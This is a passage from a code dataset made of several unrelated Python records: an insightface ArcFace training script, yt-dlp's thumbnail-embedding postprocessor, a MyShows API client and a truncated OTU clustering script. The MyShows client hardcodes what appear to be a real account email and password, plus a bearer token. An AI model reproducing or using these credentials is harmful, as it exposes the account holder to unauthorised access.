#执行resnet\n print('init resnet, 层数: ', args.num_layers)\n embedding = fresnet.get_symbol(args.emb_size, \n args.num_layers, \n version_se=args.version_se, \n version_input=args.version_input, \n version_output=args.version_output, \n version_unit=args.version_unit,\n version_act=args.version_act)\n # get_symbol\n all_label = mx.symbol.Variable('softmax_label') \n gt_label = all_label\n # extra_loss = None\n # 重新定义fc7的权重\n _weight = mx.symbol.Variable(\"fc7_weight\", shape=(args.num_classes, args.emb_size), lr_mult=args.fc7_lr_mult, wd_mult=args.fc7_wd_mult)\n if args.loss_type==0: #softmax\n _bias = mx.symbol.Variable('fc7_bias', lr_mult=2.0, wd_mult=0.0)\n fc7 = mx.sym.FullyConnected(data=embedding, weight = _weight, bias = _bias, num_hidden=args.num_classes, name='fc7')\n elif args.loss_type==1: #sphere\n _weight = mx.symbol.L2Normalization(_weight, mode='instance')\n fc7 = mx.sym.LSoftmax(data=embedding, label=gt_label, num_hidden=args.num_classes,\n weight = _weight,\n beta=args.beta, margin=args.margin, scale=args.scale,\n beta_min=args.beta_min, verbose=1000, name='fc7')\n elif args.loss_type==2: #CosineFace\n s = args.margin_s\n m = args.margin_m\n assert(s>0.0)\n assert(m>0.0)\n _weight = mx.symbol.L2Normalization(_weight, mode='instance')\n nembedding = mx.symbol.L2Normalization(embedding, mode='instance', name='fc1n')*s\n\n fc7 = mx.sym.FullyConnected(data=nembedding, weight = _weight, no_bias = True, num_hidden=args.num_classes, name='fc7')\n s_m = s*m\n gt_one_hot = mx.sym.one_hot(gt_label, depth = args.num_classes, on_value = s_m, off_value = 0.0) #onehot两个值最大值s_m,最小值0.0\n fc7 = fc7-gt_one_hot\n elif args.loss_type==4: #ArcFace\n s = args.margin_s # 参数s, 64\n m = args.margin_m # 参数m, 0.5\n\n assert s>0.0\n assert m>=0.0\n assert m<(math.pi/2)\n # pdb.set_trace()\n # 权重归一化\n _weight = mx.symbol.L2Normalization(_weight, mode='instance') # shape = [(4253, 512)]\n # 特征归一化,并放大到 s*x\n nembedding = mx.symbol.L2Normalization(embedding, mode='instance', name='fc1n')*s\n fc7 = mx.sym.FullyConnected(data=nembedding, weight = _weight, no_bias = True, num_hidden=args.num_classes, name='fc7') #args.num_classes:85164\n \n zy = mx.sym.pick(fc7, gt_label, axis=1) #fc7每一行找出gt_label对应的值, 即s*cos_t\n\n cos_t = zy/s # 网络输出output = s*x/|x|*w/|w|*cos(theta), 这里将输出除以s,得到实际的cos值,即cos(theta)\n cos_m = math.cos(m)\n sin_m = math.sin(m)\n mm = math.sin(math.pi-m)*m #sin(pi-m)*m = sin(m) * m 0.2397\n #threshold = 0.0\n threshold = math.cos(math.pi-m) # 这个阈值避免theta+m >= pi, 实际上threshold<0 -cos(m) -0.8775825618903726\n if args.easy_margin: # 将0作为阈值,得到超过阈值的索引\n cond = mx.symbol.Activation(data=cos_t, act_type='relu')\n else:\n cond_v = cos_t - threshold # 将负数作为阈值\n cond = mx.symbol.Activation(data=cond_v, act_type='relu')\n body = cos_t*cos_t # cos_t^2 + sin_t^2 = 1\n body = 1.0-body\n sin_t = mx.sym.sqrt(body)\n new_zy = cos_t*cos_m #cos(t+m) = cos(t)cos(m) - sin(t)sin(m)\n b = sin_t*sin_m\n new_zy = new_zy - b\n new_zy = new_zy*s # s*cos(t + m)\n if args.easy_margin:\n zy_keep = zy # zy_keep为zy,即s*cos(theta)\n else:\n zy_keep = zy - s*mm # zy-s*sin(m)*m = s*cos(t)- s*m*sin(m)\n new_zy = mx.sym.where(cond, new_zy, zy_keep) #cond中>0的保持new_zy=s*cos(theta+m)不变,<0的裁剪为zy_keep= s*cos(theta) or s*cos(theta)-s*m*sin(m)\n\n diff = new_zy - zy\n diff = mx.sym.expand_dims(diff, 1)\n gt_one_hot = mx.sym.one_hot(gt_label, depth = args.num_classes, on_value = 1.0, off_value = 0.0)\n body = mx.sym.broadcast_mul(gt_one_hot, diff) # 对应yi处为new_zy - zy\n fc7 = fc7+body #对应yi处,fc7=zy + (new_zy - zy) = new_zy,即cond中>0的为s*cos(theta+m),<0的裁剪为s*cos(theta) or s*cos(theta)-s*m*sin(m)\n elif args.loss_type==5:\n s = args.margin_s\n m = args.margin_m\n assert s>0.0\n _weight = mx.symbol.L2Normalization(_weight, mode='instance')\n nembedding = mx.symbol.L2Normalization(embedding, mode='instance', name='fc1n')*s\n fc7 = mx.sym.FullyConnected(data=nembedding, weight = _weight, no_bias = True, num_hidden=args.num_classes, name='fc7')\n if args.margin_a!=1.0 or args.margin_m!=0.0 or args.margin_b!=0.0:\n if args.margin_a==1.0 and args.margin_m==0.0:\n s_m = s*args.margin_b\n gt_one_hot = mx.sym.one_hot(gt_label, depth = args.num_classes, on_value = s_m, off_value = 0.0)\n fc7 = fc7-gt_one_hot\n else:\n zy = mx.sym.pick(fc7, gt_label, axis=1)\n cos_t = zy/s\n t = mx.sym.arccos(cos_t)\n if args.margin_a!=1.0:\n t = t*args.margin_a\n if args.margin_m>0.0:\n t = t+args.margin_m\n body = mx.sym.cos(t)\n if args.margin_b>0.0:\n body = body - args.margin_b\n new_zy = body*s\n diff = new_zy - zy\n diff = mx.sym.expand_dims(diff, 1)\n gt_one_hot = mx.sym.one_hot(gt_label, depth = args.num_classes, on_value = 1.0, off_value = 0.0)\n body = mx.sym.broadcast_mul(gt_one_hot, diff)\n fc7 = fc7+body\n out_list = [mx.symbol.BlockGrad(embedding)]\n softmax = mx.symbol.SoftmaxOutput(data=fc7, label = gt_label, name='softmax', normalization='valid')\n out_list.append(softmax)\n out = mx.symbol.Group(out_list)\n return (out, arg_params, aux_params)\n\ndef train_net(args):\n\n ctx = []\n cvd = os.environ['CUDA_VISIBLE_DEVICES'].strip() #0,使用第一块GPU\n \n \n if len(cvd)>0:\n for i in xrange(len(cvd.split(','))):\n ctx.append(mx.gpu(i)) #讲GPU context添加到ctx,ctx = [gpu(0)]\n\n if len(ctx)==0:\n ctx = [mx.cpu()]\n print('use cpu')\n else:\n print('gpu num:', len(ctx)) #使用了gpu\n\n prefix = args.prefix #../model-r100\n prefix_dir = os.path.dirname(prefix) #..\n\n if not os.path.exists(prefix_dir): #未执行\n os.makedirs(prefix_dir)\n\n end_epoch = args.end_epoch #100 000\n\n args.ctx_num = len(ctx)\n args.num_layers = int(args.network[1:])\n\n print('num_layers', args.num_layers) #100\n\n if args.per_batch_size==0:\n args.per_batch_size = 128\n args.batch_size = args.per_batch_size*args.ctx_num #10\n\n args.rescale_threshold = 0\n args.image_channel = 3\n\n os.environ['BETA'] = str(args.beta) #1000.0,参见Arcface公式(6),退火训练的lambda\n\n data_dir_list = args.data_dir.split(',')\n print('data_dir_list: ',data_dir_list)\n\n data_dir = data_dir_list[0]\n\n # 加载数据集属性\n prop = face_image.load_property(data_dir)\n args.num_classes = prop.num_classes\n image_size = prop.image_size\n args.image_h = image_size[0]\n args.image_w = image_size[1]\n print('image_size', image_size)\n print('num_classes: ', args.num_classes)\n\n\n\n path_imgrec = os.path.join(data_dir, \"train.rec\")\n\n if args.loss_type==1 and args.num_classes>20000: #sphereface\n args.beta_freeze = 5000\n args.gamma = 0.06\n\n print('***Called with argument:', args)\n\n data_shape = (args.image_channel,image_size[0],image_size[1]) #(3L,112L,112L)\n\n mean = None\n\n begin_epoch = 0\n base_lr = args.lr #0.1\n base_wd = args.wd #weight decay = 0.0005\n base_mom = args.mom #动量:0.9\n\n if len(args.pretrained)==0: \n arg_params = None\n aux_params = None\n sym, arg_params, aux_params = get_symbol(args, arg_params, aux_params)\n else:\n vec = args.pretrained.split(',') #['../models/model-r50-am-lfw/model', '0000']\n print('***loading', vec) \n\n _, arg_params, aux_params = mx.model.load_checkpoint(vec[0], int(vec[1]))\n sym, arg_params, aux_params = get_symbol(args, arg_params, aux_params)\n # print(sym[1])\n # mx.viz.plot_network(sym[1]).view() #可视化\n # sys.exit()\n if args.network[0]=='s': # spherenet\n data_shape_dict = {'data' : (args.per_batch_size,)+data_shape}\n spherenet.init_weights(sym, data_shape_dict, args.num_layers)\n\n\n #label_name = 'softmax_label'\n #label_shape = (args.batch_size,)\n model = mx.mod.Module(\n context = ctx,\n symbol = sym,\n )\n \n # print(args.batch_size)\n # print(data_shape)\n # print(path_imgrec)\n # print(args.rand_mirror)\n # print(mean)\n # print(args.cutoff)\n # sys.exit()\n\n train_dataiter = FaceImageIter(\n batch_size = args.batch_size, \n data_shape = data_shape, #(3L,112L,112L)\n path_imgrec = path_imgrec, # train.rec\n shuffle = True,\n rand_mirror = args.rand_mirror, # 1\n mean = mean,\n cutoff = args.cutoff, # 0\n )\n\n\n if args.loss_type<10:\n _metric = AccMetric()\n else:\n _metric = LossValueMetric()\n # 创建一个评价指标\n eval_metrics = [mx.metric.create(_metric)]\n\n if args.network[0]=='r' or args.network[0]=='y':\n initializer = mx.init.Xavier(rnd_type='gaussian', factor_type=\"out\", magnitude=2) #resnet style mobilefacenet\n elif args.network[0]=='i' or args.network[0]=='x':\n initializer = mx.init.Xavier(rnd_type='gaussian', factor_type=\"in\", magnitude=2) #inception\n else:\n initializer = mx.init.Xavier(rnd_type='uniform', factor_type=\"in\", magnitude=2)\n _rescale = 1.0/args.ctx_num\n opt = optimizer.SGD(learning_rate=base_lr, momentum=base_mom, wd=base_wd, rescale_grad=_rescale) #多卡训练的话,rescale_grad将总的结果分开\n som = 64\n # 回调函数,用来阶段性显示训练速度和准确率\n _cb = mx.callback.Speedometer(args.batch_size, som)\n\n ver_list = []\n ver_name_list = []\n for name in args.target.split(','):\n path = os.path.join(data_dir,name+\".bin\")\n if os.path.exists(path):\n data_set = verification.load_bin(path, image_size)\n ver_list.append(data_set)\n ver_name_list.append(name)\n print('ver', name)\n\n\n\n def ver_test(nbatch):\n results = []\n for i in xrange(len(ver_list)):\n acc1, std1, acc2, std2, xnorm, embeddings_list = verification.test(ver_list[i], model, args.batch_size, 10, None, None)\n print('[%s][%d]XNorm: %f' % (ver_name_list[i], nbatch, xnorm))\n #print('[%s][%d]Accuracy: %1.5f+-%1.5f' % (ver_name_list[i], nbatch, acc1, std1))\n print('[%s][%d]Accuracy-Flip: %1.5f+-%1.5f' % (ver_name_list[i], nbatch, acc2, std2))\n results.append(acc2)\n return results\n\n\n\n highest_acc = [0.0, 0.0] #lfw and target\n #for i in xrange(len(ver_list)):\n # highest_acc.append(0.0)\n global_step = [0]\n save_step = [0]\n if len(args.lr_steps)==0:\n lr_steps = [30000, 40000, 50000]\n if args.loss_type>=1 and args.loss_type<=7:\n\n lr_steps = [100000, 140000, 160000]\n # 单GPU,去掉p\n # p = 512.0/args.batch_size\n for l in xrange(len(lr_steps)):\n # lr_steps[l] = int(lr_steps[l]*p)\n lr_steps[l] = int(lr_steps[l])\n else:\n lr_steps = [int(x) for x in args.lr_steps.split(',')]\n print('lr_steps', lr_steps)\n\n def _batch_callback(param):\n #global global_step\n\n mbatch = global_step[0]\n global_step[0] += 1\n for _lr in lr_steps:\n if mbatch==args.beta_freeze+_lr:\n opt.lr *= 0.1\n print('lr change to', opt.lr)\n break\n\n _cb(param)\n if mbatch%1000==0:\n print('lr-batch-epoch:',opt.lr,param.nbatch,param.epoch)\n\n if mbatch>=0 and mbatch%args.verbose==0:\n acc_list = ver_test(mbatch)\n print(acc_list)\n save_step[0]+=1\n msave = save_step[0]\n do_save = False\n if len(acc_list)>0:\n lfw_score = acc_list[0]\n if lfw_score>highest_acc[0]:\n highest_acc[0] = lfw_score\n # 修改验证集阈值,测试最佳阈值\n # if lfw_score>=0.998:\n if lfw_score>=0.99:\n do_save = True\n if acc_list[-1]>=highest_acc[-1]:\n highest_acc[-1] = acc_list[-1]\n # if lfw_score>=0.99: #LFW测试大于0.99时,保存模型\n if lfw_score>=0.99: #LFW测试大于0.99时,保存模型\n do_save = True\n if args.ckpt==0:\n do_save = False\n elif args.ckpt>1:\n do_save = True\n if do_save:\n print('saving', msave)\n arg, aux = model.get_params()\n mx.model.save_checkpoint(prefix, msave, model.symbol, arg, aux)\n print('[%d]Accuracy-Highest: %1.5f'%(mbatch, highest_acc[-1]))\n if mbatch<=args.beta_freeze:\n _beta = args.beta\n else:\n move = max(0, mbatch-args.beta_freeze)\n _beta = max(args.beta_min, args.beta*math.pow(1+args.gamma*move, -1.0*args.power))\n #print('beta', _beta)\n os.environ['BETA'] = str(_beta)\n if args.max_steps>0 and mbatch>args.max_steps:\n sys.exit(0)\n\n epoch_cb = None\n train_dataiter = mx.io.PrefetchingIter(train_dataiter)\n\n model.fit(train_data = train_dataiter,\n begin_epoch = begin_epoch,\n num_epoch = end_epoch,\n eval_data = None,\n eval_metric = eval_metrics,\n kvstore = 'device',\n optimizer = opt,\n #optimizer_params = optimizer_params,\n initializer = initializer,\n arg_params = arg_params,\n aux_params = aux_params,\n allow_missing = True,\n batch_end_callback = _batch_callback,\n epoch_end_callback = epoch_cb )\n\ndef main():\n #time.sleep(3600*6.5)\n global args\n args = parse_args()\n\n train_net(args)\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"vincentwei0919/insightface_for_face_recognition","sub_path":"train/train_softmax_my.py","file_name":"train_softmax_my.py","file_ext":"py","file_size_in_byte":22524,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"78"}
+{"seq_id":"37601432682","text":"import base64\nimport os\nimport re\nimport subprocess\n\nfrom .common import PostProcessor\nfrom .ffmpeg import FFmpegPostProcessor, FFmpegThumbnailsConvertorPP\nfrom ..compat import imghdr\nfrom ..dependencies import mutagen\nfrom ..utils import (\n Popen,\n PostProcessingError,\n check_executable,\n encodeArgument,\n encodeFilename,\n error_to_compat_str,\n prepend_extension,\n shell_quote,\n)\n\nif mutagen:\n from mutagen.flac import FLAC, Picture\n from mutagen.mp4 import MP4, MP4Cover\n from mutagen.oggopus import OggOpus\n from mutagen.oggvorbis import OggVorbis\n\n\nclass EmbedThumbnailPPError(PostProcessingError):\n pass\n\n\nclass EmbedThumbnailPP(FFmpegPostProcessor):\n\n def __init__(self, downloader=None, already_have_thumbnail=False):\n FFmpegPostProcessor.__init__(self, downloader)\n self._already_have_thumbnail = already_have_thumbnail\n\n def _get_thumbnail_resolution(self, filename, thumbnail_dict):\n def guess():\n width, height = thumbnail_dict.get('width'), thumbnail_dict.get('height')\n if width and height:\n return width, height\n\n try:\n size_regex = r',\\s*(?P\\d+)x(?P\\d+)\\s*[,\\[]'\n size_result = self.run_ffmpeg(filename, None, ['-hide_banner'], expected_retcodes=(1,))\n mobj = re.search(size_regex, size_result)\n if mobj is None:\n return guess()\n except PostProcessingError as err:\n self.report_warning('unable to find the thumbnail resolution; %s' % error_to_compat_str(err))\n return guess()\n return int(mobj.group('w')), int(mobj.group('h'))\n\n def _report_run(self, exe, filename):\n self.to_screen(f'{exe}: Adding thumbnail to \"{filename}\"')\n\n @PostProcessor._restrict_to(images=False)\n def run(self, info):\n filename = info['filepath']\n temp_filename = prepend_extension(filename, 'temp')\n\n if not info.get('thumbnails'):\n self.to_screen('There aren\\'t any thumbnails to embed')\n return [], info\n\n idx = next((-i for i, t in enumerate(info['thumbnails'][::-1], 1) if t.get('filepath')), None)\n if idx is None:\n self.to_screen('There are no thumbnails on disk')\n return [], info\n thumbnail_filename = info['thumbnails'][idx]['filepath']\n if not os.path.exists(encodeFilename(thumbnail_filename)):\n self.report_warning('Skipping embedding the thumbnail because the file is missing.')\n return [], info\n\n # Correct extension for WebP file with wrong extension (see #25687, #25717)\n convertor = FFmpegThumbnailsConvertorPP(self._downloader)\n convertor.fixup_webp(info, idx)\n\n original_thumbnail = thumbnail_filename = info['thumbnails'][idx]['filepath']\n\n # Convert unsupported thumbnail formats (see #25687, #25717)\n # PNG is preferred since JPEG is lossy\n thumbnail_ext = os.path.splitext(thumbnail_filename)[1][1:]\n if info['ext'] not in ('mkv', 'mka') and thumbnail_ext not in ('jpg', 'jpeg', 'png'):\n thumbnail_filename = convertor.convert_thumbnail(thumbnail_filename, 'png')\n thumbnail_ext = 'png'\n\n mtime = os.stat(encodeFilename(filename)).st_mtime\n\n success = True\n if info['ext'] == 'mp3':\n options = [\n '-c', 'copy', '-map', '0:0', '-map', '1:0', '-write_id3v1', '1', '-id3v2_version', '3',\n '-metadata:s:v', 'title=\"Album cover\"', '-metadata:s:v', 'comment=Cover (front)']\n\n self._report_run('ffmpeg', filename)\n self.run_ffmpeg_multiple_files([filename, thumbnail_filename], temp_filename, options)\n\n elif info['ext'] in ['mkv', 'mka']:\n options = list(self.stream_copy_opts())\n\n mimetype = f'image/{thumbnail_ext.replace(\"jpg\", \"jpeg\")}'\n old_stream, new_stream = self.get_stream_number(\n filename, ('tags', 'mimetype'), mimetype)\n if old_stream is not None:\n options.extend(['-map', '-0:%d' % old_stream])\n new_stream -= 1\n options.extend([\n '-attach', self._ffmpeg_filename_argument(thumbnail_filename),\n '-metadata:s:%d' % new_stream, 'mimetype=%s' % mimetype,\n '-metadata:s:%d' % new_stream, 'filename=cover.%s' % thumbnail_ext])\n\n self._report_run('ffmpeg', filename)\n self.run_ffmpeg(filename, temp_filename, options)\n\n elif info['ext'] in ['m4a', 'mp4', 'm4v', 'mov']:\n prefer_atomicparsley = 'embed-thumbnail-atomicparsley' in self.get_param('compat_opts', [])\n # Method 1: Use mutagen\n if not mutagen or prefer_atomicparsley:\n success = False\n else:\n try:\n self._report_run('mutagen', filename)\n meta = MP4(filename)\n # NOTE: the 'covr' atom is a non-standard MPEG-4 atom,\n # Apple iTunes 'M4A' files include the 'moov.udta.meta.ilst' atom.\n f = {'jpeg': MP4Cover.FORMAT_JPEG, 'png': MP4Cover.FORMAT_PNG}[imghdr.what(thumbnail_filename)]\n with open(thumbnail_filename, 'rb') as thumbfile:\n thumb_data = thumbfile.read()\n meta.tags['covr'] = [MP4Cover(data=thumb_data, imageformat=f)]\n meta.save()\n temp_filename = filename\n except Exception as err:\n self.report_warning('unable to embed using mutagen; %s' % error_to_compat_str(err))\n success = False\n\n # Method 2: Use AtomicParsley\n if not success:\n success = True\n atomicparsley = next((\n # libatomicparsley.so : See https://github.com/xibr/ytdlp-lazy/issues/1\n x for x in ['AtomicParsley', 'atomicparsley', 'libatomicparsley.so']\n if check_executable(x, ['-v'])), None)\n if atomicparsley is None:\n self.to_screen('Neither mutagen nor AtomicParsley was found. Falling back to ffmpeg')\n success = False\n else:\n if not prefer_atomicparsley:\n self.to_screen('mutagen was not found. Falling back to AtomicParsley')\n cmd = [encodeFilename(atomicparsley, True),\n encodeFilename(filename, True),\n encodeArgument('--artwork'),\n encodeFilename(thumbnail_filename, True),\n encodeArgument('-o'),\n encodeFilename(temp_filename, True)]\n cmd += [encodeArgument(o) for o in self._configuration_args('AtomicParsley')]\n\n self._report_run('atomicparsley', filename)\n self.write_debug('AtomicParsley command line: %s' % shell_quote(cmd))\n stdout, stderr, returncode = Popen.run(cmd, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n if returncode:\n self.report_warning(f'Unable to embed thumbnails using AtomicParsley; {stderr.strip()}')\n # for formats that don't support thumbnails (like 3gp) AtomicParsley\n # won't create to the temporary file\n if 'No changes' in stdout:\n self.report_warning('The file format doesn\\'t support embedding a thumbnail')\n success = False\n\n # Method 3: Use ffmpeg+ffprobe\n # Thumbnails attached using this method doesn't show up as cover in some cases\n # See https://github.com/yt-dlp/yt-dlp/issues/2125, https://github.com/yt-dlp/yt-dlp/issues/411\n if not success:\n success = True\n try:\n options = [*self.stream_copy_opts(), '-map', '1']\n\n old_stream, new_stream = self.get_stream_number(\n filename, ('disposition', 'attached_pic'), 1)\n if old_stream is not None:\n options.extend(['-map', '-0:%d' % old_stream])\n new_stream -= 1\n options.extend(['-disposition:%s' % new_stream, 'attached_pic'])\n\n self._report_run('ffmpeg', filename)\n self.run_ffmpeg_multiple_files([filename, thumbnail_filename], temp_filename, options)\n except PostProcessingError as err:\n success = False\n raise EmbedThumbnailPPError(f'Unable to embed using ffprobe & ffmpeg; {err}')\n\n elif info['ext'] in ['ogg', 'opus', 'flac']:\n if not mutagen:\n raise EmbedThumbnailPPError('module mutagen was not found. Please install using `python -m pip install mutagen`')\n\n self._report_run('mutagen', filename)\n f = {'opus': OggOpus, 'flac': FLAC, 'ogg': OggVorbis}[info['ext']](filename)\n\n pic = Picture()\n pic.mime = 'image/%s' % imghdr.what(thumbnail_filename)\n with open(thumbnail_filename, 'rb') as thumbfile:\n pic.data = thumbfile.read()\n pic.type = 3 # front cover\n res = self._get_thumbnail_resolution(thumbnail_filename, info['thumbnails'][idx])\n if res is not None:\n pic.width, pic.height = res\n\n if info['ext'] == 'flac':\n f.add_picture(pic)\n else:\n # https://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE\n f['METADATA_BLOCK_PICTURE'] = base64.b64encode(pic.write()).decode('ascii')\n f.save()\n temp_filename = filename\n\n else:\n raise EmbedThumbnailPPError('Supported filetypes for thumbnail embedding are: mp3, mkv/mka, ogg/opus/flac, m4a/mp4/m4v/mov')\n\n if success and temp_filename != filename:\n os.replace(temp_filename, filename)\n\n self.try_utime(filename, mtime, mtime)\n converted = original_thumbnail != thumbnail_filename\n self._delete_downloaded_files(\n thumbnail_filename if converted or not self._already_have_thumbnail else None,\n original_thumbnail if converted and not self._already_have_thumbnail else None,\n info=info)\n return [], info\n","repo_name":"yt-dlp/yt-dlp","sub_path":"yt_dlp/postprocessor/embedthumbnail.py","file_name":"embedthumbnail.py","file_ext":"py","file_size_in_byte":10468,"program_lang":"python","lang":"en","doc_type":"code","stars":60520,"dataset":"github-code","pt":"78"}
+{"seq_id":"22708145391","text":"import urllib2, json, simplejson\r\n# set basic url\r\nurl = \"https://api.myshows.me/v2/rpc/\"\r\n\r\n#perform global authorization using build_opener\r\n'''\r\nauth_handler = urllib2.HTTPBasicAuthHandler()\r\nauth_handler.add_password(None, url, 'yuriikushpit@gmail.com', 'viaboccea378')\r\nopener = urllib2.build_opener(auth_handler)\r\nurllib2.install_opener(opener)\r\n'''\r\n\r\n#Change f3de5e180e4e754816f872ea7cbde9340055eb53 token to yours token\r\nstandartHeader={'Content-type': 'application/json', 'Authorization': 'Bearer f3de5e180e4e754816f872ea7cbde9340055eb53'}\r\n\r\n#create standart function for request performing\r\ndef performRequest (jsonValues=None, headers=None):\r\n request = urllib2.Request(url, json.dumps(jsonValues), headers=headers)\r\n return urllib2.urlopen(request)\r\n\r\n#add function for preparing json\r\ndef prepareJson(methodName, parameters={}):\r\n requestJson = {\r\n \"jsonrpc\": \"2.0\",\r\n \"method\": methodName,\r\n \"params\": parameters,\r\n \"id\": 1\r\n }\r\n return requestJson\r\n\r\n#add function for search show to get id for 'Add TV show by name to watch list' functionality - > Request:[shows.Search]\r\ndef performedSearch(showName):\r\n showIds = []\r\n parameters = {\"query\": showName}\r\n requestJson = prepareJson(\"shows.Search\", parameters)\r\n response = simplejson.load(performRequest(requestJson, standartHeader))\r\n for data in response[\"result\"]:\r\n if data[\"titleOriginal\"] == showName:\r\n showIds.append (data[\"id\"])\r\n return showIds\r\n\r\n#performed function for 'Add TV show by name to watch list' - > Request:[lists.AddShow]\r\ndef addShowByName(nameOfShow):\r\n showIds = performedSearch(showName=nameOfShow)\r\n for showId in showIds:\r\n parameter = {\r\n \"id\": showId,\r\n \"list\": \"favorites\"\r\n }\r\n requestJson = prepareJson(\"lists.AddShow\", parameter)\r\n performRequest(requestJson, standartHeader)\r\n\r\n'''\r\nPerformed function for 'Get unwatched TV shows list'\r\nthe logic of this functionality is next:\r\n1. I decided to use request 'profile.Shows'\r\n2. To understand if user watch correct show I check if parameter 'watchedEpisodes' equals 0\r\nif yes then user doesn't watched show.\r\nRequest:[profile.Shows]\r\n'''\r\n\r\ndef getUnWatchedShows():\r\n unWatchedShowList = []\r\n requestJson = prepareJson(\"profile.Shows\")\r\n response = simplejson.load(performRequest(requestJson, standartHeader))\r\n for data in response[\"result\"]:\r\n if data[\"watchedEpisodes\"] == 0:\r\n unWatchedShowList.append(data[\"show\"][\"title\"])\r\n return unWatchedShowList\r\n\r\n\r\n#performed function for 'Get names of unwatched episodes' - > Request:[lists.Episodes]\r\ndef getUnWatchedEpisodesName():\r\n names = []\r\n parameters = {\"list\": \"unwatched\"}\r\n requestJson = prepareJson(\"lists.Episodes\", parameters)\r\n response = simplejson.load(performRequest(requestJson, standartHeader))\r\n for data in response[\"result\"]:\r\n names.append(data[\"episode\"][\"title\"])\r\n return names\r\n\r\n\r\n#performed function for 'Mark 1 episode as watched by it's id' - > Request:[lists.Episodes] - > Request:[manage.CheckEpisode]\r\ndef checkFirstEpisodeAsWatched():\r\n requestJson = prepareJson(\"lists.Episodes\", {\"list\": \"unwatched\"})\r\n response = simplejson.load(performRequest(requestJson, standartHeader))\r\n parameters = {\r\n \"id\": response[\"result\"][0][\"episode\"][\"id\"],\r\n \"rating\": 0\r\n }\r\n requestChangeById = prepareJson(\"manage.CheckEpisode\", parameters)\r\n simplejson.load(performRequest(requestChangeById, standartHeader))\r\n\r\n'''\r\nPerformed function for 'Mark all episodes in one show with given name as watched'\r\nthe logic of this functionality is next:\r\n1. Search show by name and get id of this show\r\n2. Initialize list of with id's of all episodes\r\n3. Use check 'manage.CheckEpisode' request to update episodes in loop\r\nRequest:[shows.GetById] - > Request:[manage.CheckEpisode]\r\n'''\r\ndef markEpisodesAsWatched(nameOfShow):\r\n global response\r\n showIds = performedSearch(showName=nameOfShow)\r\n episodesList = []\r\n for showId in showIds:\r\n parameters = {\r\n \"showId\": showId,\r\n \"withEpisodes\": True\r\n }\r\n requestEpisodesIds = prepareJson(\"shows.GetById\", parameters)\r\n response = simplejson.load(performRequest(requestEpisodesIds, standartHeader))\r\n for data in response[\"result\"][\"episodes\"]:\r\n episodesList.append(data[\"id\"])\r\n for episodes in episodesList:\r\n parameters = {\r\n \"id\": episodes,\r\n \"rating\": 0\r\n }\r\n requestJson = prepareJson(\"manage.CheckEpisode\", parameters)\r\n simplejson.load(performRequest(requestJson, standartHeader))\r\n\r\n#Here you could call functions and test whenever you want\r\n\r\n\r\n","repo_name":"texnichnyi/roku_test_task","sub_path":"MyShowsApi.py","file_name":"MyShowsApi.py","file_ext":"py","file_size_in_byte":4768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34032399789","text":"#!/bin/env python3\n# -*- coding: utf-8 -*-\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# A copy of the GNU General Public License is available at\n# http://www.gnu.org/licenses/gpl-3.0.html\n\n\"\"\"OTU clustering\"\"\"\n\nimport argparse\nimport sys\nimport os\nimport gzip\nimport statistics\nimport hashlib\nfrom collections import Counter\n# https://github.com/briney/nwalign3\n# ftp://ftp.ncbi.nih.gov/blast/matrices/\nimport nwalign3 as nw\n\n__author__ = \"Lara Herrmann\"\n__copyright__ = \"Universite Paris Diderot\"\n__credits__ = [\"Lara Herrmann\"]\n__license__ = \"GPL\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Lara Herrmann\"\n__email__ = \"lara.herrma@gmail.com\"\n__status__ = \"Developpement\"\n\n\ndef isfile(path):\n \"\"\"Check if path is an existing file.\n :Parameters:\n path: Path to the file\n \"\"\"\n if not os.path.isfile(path):\n if os.path.isdir(path):\n msg = \"{0} is a directory\".format(path)\n else:\n msg = \"{0} does not exist.\".format(path)\n raise argparse.ArgumentTypeError(msg)\n return path\n\n\ndef get_arguments():\n \"\"\"Retrieves the arguments of the program.\n Returns: An object that contains the arguments\n \"\"\"\n # Parsing arguments\n parser = argparse.ArgumentParser(description=__doc__, usage=\n \"{0} -h\"\n .format(sys.argv[0]))\n parser.add_argument('-i', '-amplicon_file', dest='amplicon_file', type=isfile,\n required=True,\n help=\"Amplicon is a compressed fasta file (.fasta.gz)\")\n parser.add_argument('-s', '-minseqlen', dest='minseqlen', type=int, default = 400,\n help=\"Minimum sequence length for dereplication\")\n parser.add_argument('-m', '-mincount', dest='mincount', type=int, default = 10,\n help=\"Minimum count for dereplication\")\n parser.add_argument('-c', '-chunk_size', dest='chunk_size', type=int, default = 100,\n help=\"Chunk size for dereplication\")\n parser.add_argument('-k', '-kmer_size', dest='kmer_size', type=int, default = 8,\n help=\"kmer size for dereplication\")\n parser.add_argument('-o', '-output_file', dest='output_file', type=str,\n default=\"OTU.fasta\", help=\"Output file\")\n return parser.parse_args()\n\n\ndef read_fasta(amplicon_file, minseqlen):\n \"\"\" Lecture du fichier fastq en entree\n Retourne : générateur de séquences de longueur l >= minseqlen:\n yield sequence\n \"\"\"\n if amplicon_file.endswith(\".gz\"):\n with gzip.open(amplicon_file, \"rb\") as filin:\n sequence = b''\n for line in filin:\n if line.startswith(b\">\"):\n if len(sequence) >= minseqlen:\n yield sequence.decode('ascii')\n sequence = b''\n else:\n sequence += line.strip()\n yield sequence.decode('ascii')\n else:\n with open(amplicon_file, \"r\") as filin:\n sequence = ''\n for line in filin:\n if line.startswith(\">\"):\n if len(sequence) >= minseqlen:\n yield sequence\n sequence = ''\n else:\n sequence += line.strip()\n yield sequence\n\n\ndef dereplication_fulllength(amplicon_file, minseqlen, mincount):\n \"\"\"\n Prend trois arguments correspondant au fichier fasta, la longueur\n minimale des séquences et leur comptage minimum. Elle fait appel au\n générateur fourni par read_fasta et retourne un générateur des séquences\n uniques ayant une occurrence O>=mincount ainsi que leur occurrence.\n Les séquences seront retournées par ordre décroissant d’occurrence:\n yield [sequence, count]\n\n \"\"\"\n occu_dict = {}\n del_list = []\n for sequence in 